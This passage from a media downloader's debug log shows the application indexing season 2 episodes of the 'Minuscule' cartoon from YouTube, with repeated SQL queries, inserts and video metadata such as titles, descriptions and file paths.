philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A pea in the hand is worth / Deux petits pois deux mesures (Season 2)", "2fce7c46-f68e-4cc9-aeef-bd6e1eaec357", "f0xE5_ejBKk", 122, false, 5, "https://www.youtube.com/watch?v=f0xE5_ejBKk", 101, "/downloads/Miniscule Season 2/2020-04-02 Minuscule - A pea in the hand is worth ⧸ Deux petits pois deux mesures (Season 2)/Minuscule - A pea in the hand is worth ⧸ Deux petits pois deux mesures (Season 2) [f0xE5_ejBKk].mp4", false, false, false, [], 1, ~U[2020-04-02 16:30:07Z], ~U[2025-12-12 05:13:34Z], ~U[2025-12-12 05:13:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nAn ant builds a pyramid made out out of peas while a fly is having fun destroying the building when it's almost done. But a ladybird is watching...\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A pea in the hand is worth / Deux petits pois deux mesures (Season 2)", "f0xE5_ejBKk", 122, false, 5, "https://www.youtube.com/watch?v=f0xE5_ejBKk", "/downloads/Miniscule Season 2/2020-04-02 Minuscule - A pea in the hand is worth ⧸ Deux petits pois deux mesures (Season 2)/Minuscule - A pea in the hand is worth ⧸ Deux petits pois deux mesures (Season 2) [f0xE5_ejBKk].mp4", false, ~U[2020-04-02 16:30:07Z]] 22:13:34.177 [debug] QUERY OK source="sources" db=0.4ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:34.178 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:34.179 [debug] QUERY OK source="media_items" db=0.5ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89100] 22:13:34.179 [debug] Current batch of media processed. Will check again in 1000ms 22:13:35.180 [debug] Current batch of media processed. Will check again in 1000ms 22:13:36.181 [debug] Current batch of media processed. Will check again in 1000ms 22:13:37.182 [debug] Current batch of media processed. Will check again in 1000ms 22:13:38.183 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA chubby caterpillar makes this recurring nightmare: each time she becomes a butterfly and leaves her cocoon, the worst catastrophes occur. Terrified, she decides to never again leave her cocoon.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 265, "filename" => "/downloads/Miniscule Season 2/2020-03-26 Minuscule - A butterfly nightmare ⧸ Cauchemar du papillon (Season 2)/Minuscule - A butterfly nightmare ⧸ Cauchemar du papillon (Season 2) [I8ln-GKhbKI].mkv", "id" => "I8ln-GKhbKI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=I8ln-GKhbKI", "playlist_index" => 102, "timestamp" => 1585243800, "title" => "Minuscule - A butterfly nightmare / Cauchemar du papillon (Season 2)", "upload_date" => "20200326"} 22:13:38.184 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=834.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:38.185 [debug] QUERY OK source="sources" db=0.4ms idle=13.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:38.187 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=14.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-26 17:30:00Z], 5] 22:13:38.190 [debug] QUERY OK source="media_items" db=2.3ms idle=16.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA chubby caterpillar makes this recurring nightmare: each time she becomes a butterfly and leaves her cocoon, the worst catastrophes occur. Terrified, she decides to never again leave her cocoon.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A butterfly nightmare / Cauchemar du papillon (Season 2)", "4cabda94-8f10-4945-aa14-afde76a5d1d5", "I8ln-GKhbKI", 265, false, 5, "https://www.youtube.com/watch?v=I8ln-GKhbKI", 102, "/downloads/Miniscule Season 2/2020-03-26 Minuscule - A butterfly nightmare ⧸ Cauchemar du papillon (Season 2)/Minuscule - A butterfly nightmare ⧸ Cauchemar du papillon (Season 2) [I8ln-GKhbKI].mkv", false, false, false, [], 1, ~U[2020-03-26 17:30:00Z], ~U[2025-12-12 05:13:38Z], ~U[2025-12-12 05:13:38Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA chubby caterpillar makes this recurring nightmare: each time she becomes a butterfly and leaves her cocoon, the worst catastrophes occur. Terrified, she decides to never again leave her cocoon.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A butterfly nightmare / Cauchemar du papillon (Season 2)", "I8ln-GKhbKI", 265, false, 5, "https://www.youtube.com/watch?v=I8ln-GKhbKI", "/downloads/Miniscule Season 2/2020-03-26 Minuscule - A butterfly nightmare ⧸ Cauchemar du papillon (Season 2)/Minuscule - A butterfly nightmare ⧸ Cauchemar du papillon (Season 2) [I8ln-GKhbKI].mkv", false, ~U[2020-03-26 17:30:00Z]] 22:13:38.191 [debug] QUERY OK source="sources" db=0.4ms idle=19.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:38.192 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:38.193 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89102] 22:13:38.193 [debug] Current batch of media processed. Will check again in 1000ms 22:13:39.194 [debug] Current batch of media processed. Will check again in 1000ms 22:13:40.195 [debug] Current batch of media processed. Will check again in 1000ms 22:13:41.196 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA mosquito swatted by a man in bed has the last laugh.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 119, "filename" => "/downloads/Miniscule Season 2/2020-03-19 Minuscule - Flyswatter ⧸ Tapette (Season 2)/Minuscule - Flyswatter ⧸ Tapette (Season 2) [x7rIT6Thn0k].mp4", "id" => "x7rIT6Thn0k", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=x7rIT6Thn0k", "playlist_index" => 103, "timestamp" => 1584631803, "title" => "Minuscule - Flyswatter / Tapette (Season 2)", "upload_date" => "20200319"} 22:13:41.197 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1025.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:41.198 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1026.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:41.199 [debug] QUERY OK source="media_items" db=1.0ms idle=1027.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-19 15:30:03Z], 5] 22:13:41.213 [debug] QUERY OK source="media_items" db=12.3ms queue=0.1ms idle=1029.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA mosquito swatted by a man in bed has the last laugh.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Flyswatter / Tapette (Season 2)", "4919e6c6-c7d9-414d-a02f-fbce59473ed7", "x7rIT6Thn0k", 119, false, 5, "https://www.youtube.com/watch?v=x7rIT6Thn0k", 103, "/downloads/Miniscule Season 2/2020-03-19 Minuscule - Flyswatter ⧸ Tapette (Season 2)/Minuscule - Flyswatter ⧸ Tapette (Season 2) [x7rIT6Thn0k].mp4", false, false, false, [], 1, ~U[2020-03-19 15:30:03Z], ~U[2025-12-12 05:13:41Z], ~U[2025-12-12 05:13:41Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA mosquito swatted by a man in bed has the last laugh.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Flyswatter / Tapette (Season 2)", "x7rIT6Thn0k", 119, false, 5, "https://www.youtube.com/watch?v=x7rIT6Thn0k", "/downloads/Miniscule Season 2/2020-03-19 Minuscule - Flyswatter ⧸ Tapette (Season 2)/Minuscule - Flyswatter ⧸ Tapette (Season 2) [x7rIT6Thn0k].mp4", false, ~U[2020-03-19 15:30:03Z]] 22:13:41.214 [debug] QUERY OK source="sources" db=0.4ms idle=858.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:41.214 [debug] QUERY OK source="media_profiles" db=0.3ms idle=16.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:41.215 [debug] QUERY OK source="media_items" db=0.5ms idle=16.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89104] 22:13:41.215 [debug] Current batch of media processed. Will check again in 1000ms 22:13:42.217 [debug] Current batch of media processed. Will check again in 1000ms 22:13:43.218 [debug] Current batch of media processed. Will check again in 1000ms 22:13:44.219 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 119, "filename" => "/downloads/Miniscule Season 2/2020-03-12 Minuscule - Telecanetic (Season 2)/Minuscule - Telecanetic (Season 2) [aDfIX_Lk96c].mp4", "id" => "aDfIX_Lk96c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=aDfIX_Lk96c", "playlist_index" => 104, "timestamp" => 1584027001, "title" => "Minuscule - Telecanetic (Season 2)", "upload_date" => "20200312"} 22:13:44.220 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1048.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:44.221 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1049.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:44.222 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1050.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-12 15:30:01Z], 5] 22:13:44.225 [debug] QUERY OK source="media_items" db=1.9ms idle=1052.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Telecanetic (Season 2)", "5a77ea45-5ada-470c-bcd7-2ec52b283671", "aDfIX_Lk96c", 119, false, 5, "https://www.youtube.com/watch?v=aDfIX_Lk96c", 104, "/downloads/Miniscule Season 2/2020-03-12 Minuscule - Telecanetic (Season 2)/Minuscule - Telecanetic (Season 2) [aDfIX_Lk96c].mp4", false, false, false, [], 1, ~U[2020-03-12 15:30:01Z], ~U[2025-12-12 05:13:44Z], ~U[2025-12-12 05:13:44Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Telecanetic (Season 2)", "aDfIX_Lk96c", 119, false, 5, "https://www.youtube.com/watch?v=aDfIX_Lk96c", "/downloads/Miniscule Season 2/2020-03-12 Minuscule - Telecanetic (Season 2)/Minuscule - Telecanetic (Season 2) [aDfIX_Lk96c].mp4", false, ~U[2020-03-12 15:30:01Z]] 22:13:44.226 [debug] QUERY OK source="sources" db=0.4ms idle=864.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:44.227 [debug] QUERY OK source="media_profiles" db=0.3ms 